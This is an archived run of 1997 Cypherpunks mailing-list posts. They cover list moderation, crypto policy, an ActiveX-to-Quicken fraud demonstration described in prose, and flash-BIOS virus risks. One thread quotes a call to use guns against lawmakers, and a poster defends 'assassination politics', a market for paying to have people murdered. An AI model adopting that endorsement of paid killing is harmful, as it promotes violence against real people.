Content-Type: APPLICATION/PGP-SIGNATURE
Content-ID: <Pine.SUN.3.91.970202142321.627G@crl7.crl.com>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3

iQCVAwUBMvT7LaWYCYyyZn7/AQGJmAP/dQs4nQi07UaNGSdx5pJcwppCnq9Uo77B
rIuwJppnWPsvlcN32GF88lf6TupIoIVsReZbYJdu2WPluXsUTQ+oTOwEHNOD831t
TXsqDd8QNpwZGGfbhv3tQ5T79jQIVim3jOesWbN9Ix3/qJyKgJnwRR1u0hZKriC3
lQAiUFl/hkg=
=VPrH
-----END PGP SIGNATURE-----

--w=NZbzo6Zc1UmsEa--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Feb 1997 14:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Cryptologic School
Message-ID: <199702022225.OAA03376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DAW provided this URL:

   http://csrc.nist.gov/training/in170.zip

   1996-04-29 Introduction to Computer Security
   National Cryptologic School
   Interactive Courseware Trainee Guide
   (formerly, CP-133) (37 zipped files, DOS program) 

We've had a look at this course, a primer on CompSec
and a required course for all DoD employees. It takes 
some fiddling to get past the sign-on block. Hint: after
unzipping execute "student.exe" and enter "CP" as the 
lesson. Repeat for other listed files, CPxxx - CPxxx.

It's basic stuff but worthwhile for its claims, these among 
others:

1. Most hackers are employees of the target.

2. Negligence, accidents and sloppy sys-administration are 
prime causes of disruptions, perhaps more than deliberate 
attacks.

3. Environmental weaknesses are often overlooked by
security experts too focussed on computer systems.

It lists these security documents as references:

   EO 12356 [superceded by EO 12958]
   DCID 1/16 [Director of Central Intelligence Directive]
   DoDDir 5200.28
   DoD 5200.28 STD
   Public Law 100-235
   NSA/CSS Dir 10-27
   NSA/CSS Manual 130-1 (NSAM 130-1)
   NSA/CSS Manual 130-2 (NSAM 130-2)
   NSA/CSS Reg 130-2
   NTISSAM COMPSEC 1-87
   The Rainbow Series
   OMB A-130

Does anyone know of a source for the DCID series and the
NSA/CSS series? Some of the others are available on the Web 
-- see AltaVista.

While looking for these we ran across an informative implementation 
of infosec and compsec:

   Information Systems Accreditation Document, 4 Volumes

   System Security Requirements for the
   Department of Defense Intelligence Information System

   Automated Message Handling System (AMHS) V2.x

   By:   McDonnell Douglas Aerospace
   For:   Electronic Systems Center,  Air Force Materiel Command

Which we've put at:

   http://jya.com/amhs.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 07:14:26 -0800 (PST)
To: Mani <mani@gateweb.co.uk>
Subject: Re: Ireland: Bid To Ban "Tamper Proof" Phones
Message-ID: <199702031514.HAA25769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:32 PM 2/2/97 +0000, Mani wrote:
>>From today's Sunday Independent:
>
>Bid to ban "tamper proof" telephones.
>Liz Allen, Crime Correspondent
[...]
>Justice Minister Nora Owen is presiding over the conference which will agree
>on a memorandum of understanding whereby all of the 22 governments will
>agree to allow the sale of only telephones which can be intercepted.
[...]
>Among the countries which will be in attendance at the conference
>are America, Australia, Hong Kong, and Britain.

I would like to point out two items:

1. A US ban on domestic sales of secure telephony products will require an
act of Congress.

2. Insiders have known for months that the US Department of Justice is
planning to introduce crypto legislation during the current session of
Congress.

You draw your own conclusions. IMHO, we will see the USG approaching
Congress, pointing to the multilateral agreement, and ask that Congress
pass a law to implement the agreement (which, let us not forget about it,
has of course been instigated by the USG).

It just might work.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 2 Feb 1997 19:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030325.TAA09985@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



A couple of people have sent me pinging messages, asking about my status on
the Cypherpunks list....apparently it has taken several weeks for folks to
notice my absence! :-}  This may speak volumes about why I have left the
list, and what the list has become.....

I chose not to write a "departing flame" (or message, but some might call
it a flame) when I unsubscribed several weeks ago--within an hour of
reading that John and Sandy had decided to make "their" list a moderated
list, by the way--as I saw little benefit. I was also fed up with things,
and saw no point in wasting even more of my time arguing against the New
Cypherpunks World Order, as the NCWO was clearly presented as a fait
accompli, not something ablut which opinions of list members (or even list
_founders_, at least not me) were being sought. It's my nature to just say
"Fuck it" and leave when I feel I have overstayed my time, or things are no
longer fun, or I am made to feel unwelcome.

But since several people have pinged me, asking about my status, I'll take
some time to say a few things. I've had access to the hks.net archive site,
and/or the Singapore site, to occasionally see what was being said on the
list (old habits die slowly, so I sometimes drop in to see what you people
are flaming each other about...not surprisingly--in fact utterly
predictably--I see vast amounts of bandwidth consumed by arguments about
moderation, about the putative biases of the Moderator and Director of the
New Cypherpunks World Order, about alternative moderation strategies (which
is stupid, as John and Sandy announced what they were going to do, not just
some of their preliminary thoughts), and so on. I've also noticed fewer
substantive essays. With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per day.
(Others did too, but they seem to be tapering off as well, leaving the list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm
not reading the list in e-mail, and thus can easily avoid replying to these
inanities...which would probably not be approved for reading by Sandy, so
why bother anyway?)


Rather than compose a traditional essay, I'll take the  easy way out and
list some bulleted points.

* First, I don't argue that John Gilmore is unfree to do as he wishes with
his machine, toad, which has been the major machine host for the
Cypherpunks list. John can tell us we have to write in Pig Latin if he
wishes. Much of the debate I saw in the archives was debate that missed the
point about what John could and couldn't do. No one can seriously question
the right of the owner of a machine, or the owner of a restaurant, etc., to
set the policies he wishes. The owner of a restaurant is perfectly free--or
used to be, and still is to anyone with even slightly libertarian or
freedom tendencies--to set the rules of his "house." He may insist that
shirts and shoes be worn, or that smoking is not allowed (or even is
required, in theory), etc. He may say "All those eating in my restaurant
must wear funny hats and have their costumes approved by Sandy Sandfort."
This is unexceptionable.

* However, anyone who disputes these rules (disputes in the sense of
disliking or disagreeing with them, not legally challenging them) is free
to leave. Those who don't like crowded, noisy, smoke-filled sports bars are
encourgaged to leave. And so on. Again, unexceptionable.

(The more complicated case of contracts, verbal or written, and "changing
the rules," does not apply here. No one had a contract with John, or Sandy,
or Hugh, etc., so this is not germane.)

* But the really important issue is this: is the _physical hosting_ of the
Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
these hosts to be the "owners" of the Cypherpunks group? Would we think
that a corporate host, say, would have the authority to direct what we
could say on the list? (Again, not disputing their corporate property
rights...as a libertarian, I cannot. Other issues are what I'm getting at.)

* If a Boy Scout troop meets at a local church, and has for several years,
continuously, would we consider the church to be the owner of the troop?
Could the church insist on avoidance of certain "cuss words" and demand
that prayers be said before each gathering? Certainly the church could tell
the troop what policies were to be followed if the the facilities were to
be used, etc., and the troop could leave if it didn't like the terms (or,
in parallel with my situation, any troop member could choose to leave....).
This is what we mean by "property rights": the legal right of a property
owner to do with his property as he wishes, modulo prior contractual
relationships, criminal laws, etc.

* How did the mailing list for the group, now called Cypherpunks, get
started, and how did it end up being run off of John's hardare? Hugh Daniel
got the actual mailing list rolling, based on a discussion Eric Hughes,
Hugh, and I had the day after the first physical meeting, in September
1992. We thought the group we had just spent the day with ought to be able
to stay in touch, and that a mailing list was the right way to go. There
was talk of siting it on the UC Berkeley computers (actually, the
Undergraduate Association computers, a la the Cypherpunks archive site at
"csua"), but Hugh thought he might be able to use "toad," and this is what
happened. (I have not heard from Hugh on his views of this New and
Moderated Non-Anarchic List.)

* I think we should all be very grateful to John for agreeing to let it run
on his hardware, but not let our gratitude turn into some sort of
subservience and blather about how John "owns" the Cypherpunks group.

* Again, is the "Cyherpunks community" the same as the mailing list? And is
the mailing list, hosted at toad, the "property" of John Gilmore?

* In my view, neither John nor Sandy in any sense "own" our group. It is a
virtual community which sometimes has physical meetings at various places
(including corporations, restaurants, and bookstores, none of which are
even partial "owners" of the group) and which has had several
instantiations on the Net, including sub-lists not connected to toad.com in
any way. While John is of course free at any time to suspend his hosting of
the list, I think it a serious misapprehension of the basic nature of
virtual communities to accept the claim that John should decide on what is
appropriate to bear the "Cypherpunks" list imprimatur and what is to be
consigned to the flame list.

* The mechanics of the announcement troubled me greatly. To be blunt, I was
seething with anger. I was mightily annoyed to read that John had made a
decision to appoint Sandy as his Moderator, with no discussion on the list.
I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
I certainly know I was not. I feel that as one of the two or three
founders, depending on how one is counting, and as a frequent contributor
to the list since its inception, and so on, I (and others) should at least
have been told of this plan. Better yet, have the plans discussed on the
list, as some good ideas may have been generated.

I'll have more to say about my problems with how things were handled.
Frankly, it smacked of the same kind of fait accompli decision John made
with the unsubscribing of Vulis. While John had (and has) every legal right
to do with his property as he wished, the effect was very negative. First,
Vulis found other ways to post (duh). Second, the list was consumed with
flames about this, many from Vulis, and many from others. Third,
journalists (who love sizzle over substance any day of the week) lept into
the fray with articles which gave Vulis the publicity he craved. Fourth, it
sent a message to enemies of liberty that "Even the Cypherpunks have found
it necessary to abandon their anarchic ways."

(I'm well aware of the issues with pests like Vulis, who seek to destroy
virtual communities like ours. But the solution John used did not work, and
generated more crap. As you all should know, it was John himself who coined
the wonderful saying, "The Net interprets censorship as damage and routes
around it." A delicious irony.)

* In the archives, I did see a bunch of "I support Sandy" and "John is our
leader" comments from reasonable people. The obvious noise of Vulis and his
cohorts like Aga made a "Do something!" attitude somewhat understandable. I
don't think the decision made was a wise one, and I strongly doubt it will
work to make the list a better one.

* The proper solution to bad speech is more speech, not censorship.
Censorship just makes opponents of "speech anarchy" happy--it affirms their
basic belief that censors are needed.

* "Censorship" is another overloaded term. I don't think the "Definition 1"
of dictionary definitions, about _governmental_ restrictions, is the only
meaningful definition. Everybody knows what it meant when we say that
"Lockheed is censoring the views of employees," even though we know
Lockheed is not using government power. A censor is one who censors. And
even my "American Heritage Dictionary" gives this as its "definition 1":

"censor n. 1. A person authorized to examine books, films, or other
material and to remove or suppress morally, politically, or otherwise
objectionable."

(Other dictionaries of course give similar definitions. The notion that
censors are confined to being government employees is a misconception.)

* OK, even given that John had decided to censor "his" list, what about his
choice of Sandy Sandfort as the censor? I've known Sandy for several years
(I was the one who invited him to the second Cypherpunks meeting), but he's
a poor choice as a censor, moderator, whatever. First, because he has so
often gotten involved in protracted flame wars, such as with Vulis
(remember the dozens of messages about the "bet" to bring Vulis out? I
stayed out of the charade completely.), with Hallam-Baker, and with others.
Second, because he has not been actively composing essays for a while,
perhaps because of his job with Community Connexion. Other reasons, too.

(I count Sandy as a friend, but I'm just being honest here. Sandy is just
not a "Peter Neumann" (moderator of the "RISKS" list).

* Nor do the announced criteria make any sense. While the inane one-line
scatological insults have been filtered out, many "flames" make it through,
based on what I've seen in perusing the hks archive site. And some
reasonable comments get dumped in the flame bucket.

* As expected, those who only want to talk about cryptography (but who
rarely do, themselves, also as expected) waste bandwidth saying the
"anarchist" and "libertarian" stuff ought to go in to the "rejected" list.
More bandwidth wasted, as each group lobbies to have its ideological
opponents censored by Sandy.

* I would have had no problem had John announced that he was creating a new
list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
After all, both Eric Blossom and Ray Arachelian already offer just such
lists, and more would not hurt.

But by making the _main list_ the censored one, this skewed things
considerably.

* (Frankly, one of my considerations in leaving was the feeling that I
would never know if an essay I'd spent hours composing would be rejected by
Sandy for whatever reasons....maybe he might think my essay was off-topic,
or used one of the Seven Deadly Words, or was "too flamish." Whatever. I
realized that life is too short to have Sandy Sandfort deciding whether my
essays should go out to the main list (which is really just a list like
Eric Blossom's best-of list, except it is be edict now the main list) or be
dumped into the flames list, to be read by a handful of people.)

* Why, many reasonable people may ask, did I not simply unsubscribe from
the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or
whatever it is called) list? Because of my overall anger with the issues
raised above. The imperiousness of the decision, the notion of favoring
Sandy's tastes in a more "first class" way than, say, the tastes of Eric
Blossom, Ray Arachelian, or, for that matter, me.  "Some censors are more
equal than others."

* The decision to "moderate" (censor) the Cypherpunks list is powerful
ammunition to give to our opponents, and Vulis is certainly gleeful that
his fondest wishes have been realized. And it won't work. People are
consuming even more bandwidth arguing the merits of John's decision, the
traffic is presumably being slowed down by the need for Sandy to wade
through the traffic and stamp "Approved" or "Rejected" on what he glances
at, and people are "testing the limits" of what they can say and what they
can't say.

* It also sends a message that people are incapable of filtering out bad
speech, that they need a censor to do it for them. (Again, I have no
problem with competing "screeners," a la having Ray, Eric, or David
Sternlight filtering what they think is OK and what is not. Let a thousand
filtering services bloom.) But the clear message by having Sandy censor the
main list (the default list, the list name with the main name, the list we
all know about, etc.) is that Cypherpunks need Big Brother to shelter them
from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure
Desires. Foo on that.

* Psychologists might point to random reinforcement, even to the effects of
terror. How many of us are likely to write controversial posts knowing that
Sandy might wake up having a "bad hair day" and thus reject our posts? How
many will begin to skew their opinions to match those of Sandy? (I would
venture a guess that a Duncan Frissell would almost certainly get a
libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
get a leftist rant past him.)

* Those who want "less noise" should subcontract with the filter services
of their own choosing. This is the "Cypherpunk Way." Having Sandy as the
censor is the easy way out.

* By the way, the moderated list "RISKS"  works pretty well. But it is not
a _discussion_ group. It is, rather, a digest of news items related to
computer and technology risks, with some discussion by various
contributors, and with a long turnaround time of a few issues per week,
tops. Peter Neumann also devotes a lot of time to making it run smoothly
and bases part of his professional career on running it. I surmise that
Sandy is not prepared to do the same. Nor would this be a good idea, as
this would kill the spirit of the debate.

* Had there been a debate about the policy, I can think of several
approaches I'd like better. But inasmuch as John made it clear that there
would be no debate (and, perhaps as part of the "problem," John has not
really been a active member of the mailing list, in terms of participating
in the debates), this is all moot.

In any case, my several years with the list have taken a huge amount of my
time. Given the way this whole thing was handled, and the way the list is
degenerating even further, it looks like it's good that I'm moving on to
other things.


* To summarize:

- the decision to censor the list was made without any discussion on the
list, without any discussion with at least some of the longterm core
contributors, and was presented as a "fait accompli."

- while John has every right to do with his hardware as he wishes, he does
not "own" the Cypherpunks group (though whether he owns the "list" is a
semantically debatable point)

- whatever our group once was, or still is, is not dependent on having a
particular mailing list running on someone's home machine...and it cannot
be claimed that any person "owns" the Cypherpunks group.

- there is some talk of creating another Cypherpunks list, on other
machines; I don't know whether or not this will fly, or if I'll devote any
time to such lists.

- the effect of censorship, such as I have seen it so far, is not producing
a better list. In fact, as I would have expected, it is producing a more
boring and sheltered list.


And so there you have it.

I had no plans to set down my views, feeling it was a waste of my time and
your time. Rather than foam and rant the way some did (and Vulis must have
posted 100 messages on the subject), I chose to simply make my exit,
quickly.

But as I have recently seen several mentions of my absence (including a
particularly complimentary comment from Asgaard--thanks), I do feel I owe
it to you all to explain my views.

Which I have done. Have a nice year, and a nice millenium in a couple of years.


--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Feb 1997 22:13:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Electronic Funds Transfer without stealing PIN/TAN
Message-ID: <199702030613.WAA14332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Sun, 2 Feb 1997 15:03:25 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Electronic Funds Transfer without stealing PIN/TAN

--- From RISKS digest ---

Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN

The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos Computer
Club demonstrated how to electronically transfer funds without needing a PIN
(Personal Identification Number) or TAN (Transaction Number).

Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer order
which is saved by Quicken in its pile of pending transfer orders. The next
time the victim sends off the pending transfer orders to the bank (and
enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
are executed -> money is transferred without the victim noticing!

The newspaper quotes various officials at Microsoft et al expressing
disbelief/outrage/"we're working on it". We discussed this briefly in class
looking for a way to avoid the problem. Demanding a TAN for each transfer is
not a solution, for one, the banks only send you 50 at a time, and many
small companies pay their bills in bunches. Having to enter a TAN for each
transaction would be quite time-consuming. Our only solution would be to
forbid browsers from executing any ActiveX component without express
authorization, but that rather circumvents part of what ActiveX is intended
for.

A small consolation: the transfer is trackable, that is, it can be
determined at the bank to which account the money went. Some banks even
include this information on the statement, but who checks every entry on
their statements...

Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10,
13353 Berlin GERMANY weberwu@tfh-berlin.de <http://www.tfh-berlin.de/~weberwu/>

--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 22:10:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702030610.WAA14061@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 22:10:56 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702030610.WAA14116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 PM 2/1/97 -0500, Adam Shostack wrote:
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom, AFAIK.

http://now.cs.berkeley.edu is the home page for the 
Network Of Workstations CPU farm.  Mostly Suns with some recent
generation of Sparc chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 07:25:43 -0800 (PST)
To: cryptography@c2.net
Subject: Voice Encrytion/Scrambling
Message-ID: <199702031525.HAA26006@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Can anyone comment on and give pointers to devices designed to
encrypt voice transmission over POTS lines?  I am interested in 
the respective sound qualities (if you've tried it) and
relative strengths of encryption algorithms.  Thus far, I've found:

http://www-jb.cs.uni-sb.de/~khuwig/lc-1eng.html
http://www.cescomm.co.nz/cesindex.html
http://www.worldaccess.com/~djm/crytek.htm

The first on the list claims to use RSA but gives no ordering
or pricing information.  Conversely, the last two seem more
"available", however they are each vague on the specifics of
their respective encryption/scrambling algorithm.  Anyone?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 22:14:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702030614.WAA14344@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702021555.HAA25423@toad.com>, on 02/02/97 at 09:34 AM,
   "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:


>ichudov@algebra.com (Igor Chudov @ home) writes:

>> Dr.Dimitri Vulis KOTM wrote:
>> > Bill Stewart <stewarts@ix.netcom.com> writes:
>> > > On the other hand, if the "repairman" replaced your pgp executable
>> > > with version 2.6.3kgb, which uses your hashed passphrase as the
>> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
>> > > or added a small radio transmitter to your keyboard, or whatever.
>> > > Depends on your threat model.  If you need to be paranoid,
>> > > they've already gotten you....
>> >
>> > If you're really paranoid, you can boot from a clean floppy and
>> > reinstall everything from your backup tapes. You do have a
>> > contingency plan in case your hard disk goes bad, or gets a
>> > virus, don't you? Well, if you're in doubt, exercise it.
>>
>> And what if the repairman replaces BIOS ROM chips with KGBios?

>On some computers it's possible to add executable code to the boot
>sequence without replacing the actual ROM chip because they're
>rewritiable. Examples: most Sun boxes; intel motherboards with 'flash
>bios'.

V-Communications has a nice Bios Pre-Processor for their dissasembler for
anyone intrested it playing with their bios code. Most newer MB's come with
Flash Bios and the software to Flash the chip is available for download
from the Manufacture. I'v gone and tinkered around with the bios on a
couple of my AMI motherboards.

Flash bios does open the possibility for a virus infection of ones bios. I
have had several intresting discussions with the AMI programmers about
this. IMHO any device that has flash bios should have a jumper on the
circuit board to enable/disable the flash option. I have not seen anyone
that is doing this with their products.

The MB bios is relativly safe as the flash process happens pre-post but
considering that flash bios can be found in almost all computer prerifials
the potential for harm is there. Currently on my system I have flash bios
on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot
for a virus.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 

 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:16:23 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702030616.WAA14387@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so
    to keep democracy awake...  other than presuming your answer is
    tongue in cheek (not elsewhere), complacency == welfare.
.........................................................


Definitely  tongue-in-cheek.    Just noting that if a thing has been 
"guaranteed", this means (by my interpretation) that it is a done deal and 
nothing further need be done about it - it's established and automatic.

But obviously a "right", though it be a basic operant in Nature and 
existent as an abstract concept in some people's minds, is not recognized 
either naturally or formally by many.

Therefore, as Jefferson remarked, we cannot depend on our forefather's 
vision to uphold our honor but must re-establish it as needed.

    ..
Blanc









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:13:10 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: FW: Cyphernomicon by Tim May
Message-ID: <199702030613.WAA14330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(meant to send this to the list earlier)
From:	Toto

  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.
...................................................

Now, you know it has to do with proportion:  if Jim Choate, in the course 
of an ADD-induced discourse on the reprehensability of libelous 
indiscretions, happens to let out a "Bessie", it's going to be less 
disconcerting than to read continuous content-less alerts consisting of 
nothing but declarations against your personal virtue.   At the very least, 
the one provides some cause for educated clarification, while the other 
leaves nothing to say, but only to filter.

However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really 
feel like flaming somebody uninhibitedly, now's the time to get past the 
flame-bot (hee-hee).

=

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature
blathering which showed questionable literary skills.
.............................................

Bad, Ray  -  Bad!

=

  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.
.............................................

You're at liberty to try.   Why don't you start with Messrs. Jim and Jim.
(but, wait  -  let me set up my Inbox Rules.....)

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Sun, 2 Feb 1997 09:56:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021756.JAA27430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 2 Feb 1997, Declan McCullagh wrote:

>That question is one for Tim to answer, but I should point out that

TC May hasn't posted in a month or so. I miss his posts. Without
any official role he was the de facto moderator, mostly by example
but also by pointing out the core of the issues when things went
astray, for all those years. Did he mention going away for so long
in any of his latest posts? I remember 'for the holiday season'
but that is long gone. I hope he hasn't left the list for good,
being pissed off by Gilmore's choice of moderator(s) or some
such reason.

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 3 Feb 1997 07:25:44 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: PCS Encryption?
Message-ID: <199702031525.HAA26007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
|    http://www.nsa.gov:8080/programs/missi/condor.html

# How secure is CONDOR?
# 
#      Current proof-of-concept hardware is FORTEZZA(TM) based
#	(sensitive but unclassified)  Product versions will use STU
# 	for cellular voice and FORTEZZA(TM) Plus for net broadcast
# 	mode and data  

	I was under the impression that Fortezza was ok for classified
traffic.  Did I miss the changeover, was it unannounced, or was I
simply misremembering?

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 22:13:11 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030613.WAA14331@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> jim bell wrote:
> > Better yet, set up a system to encourage the public to USE those guns (and
> > other weapons) to get rid of the people who pass such laws, and the problem
> > is solved.

> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.

Igor, there's an old saying in this country: the best way to lose a
friend is to lend him money.

> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional
> money to have me murdered. A suit would probably be a much better outcome.

Sometimes you have to pay a steep price for negligence, like neglecting
to watch how close you get to the edge of the road on, say, Topanga
Canyon or one of those (long way down).  Now, since people *know* to
be extra careful on the canyon roads, don't you think by the same
analogy they'd be extra careful with other things when AP is running?

> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she.

If she does it right, with empathy, there is not likely to be a
problem.  On the other hand, if she bad-mouths you to prospective
employers or customers you want to do business with, you might be
inclined to hit her.  This happens a lot when AP is not available.

> The bottom line is, it becomes very hard to do ANYTHING that disappoints
> at least somebody. That can lead to a lot of inefficiencies.

To get rid of everyone who pisses you off, you'd have to pay a lot
more money than you'll ever have, therefore not a problem.  Those
people who have such money are not going to bump off very many more
people than they already do, because:

1. They need the people to make money off of (Mafia rule #4, never
   kill someone who owes you money [or is a money source]).

2. Rich people have a lot of eyes on them, and it would be easy to
   triangulate a series of murders to them, even without hard evidence.
   In an AP world, this triangulation/correlation would be enough to
   convince people to either shun this killer, or kill him outright.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 14:27:24 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702022227.OAA03410@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970202:0457 blanc <blancw@cnw.com> said:

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

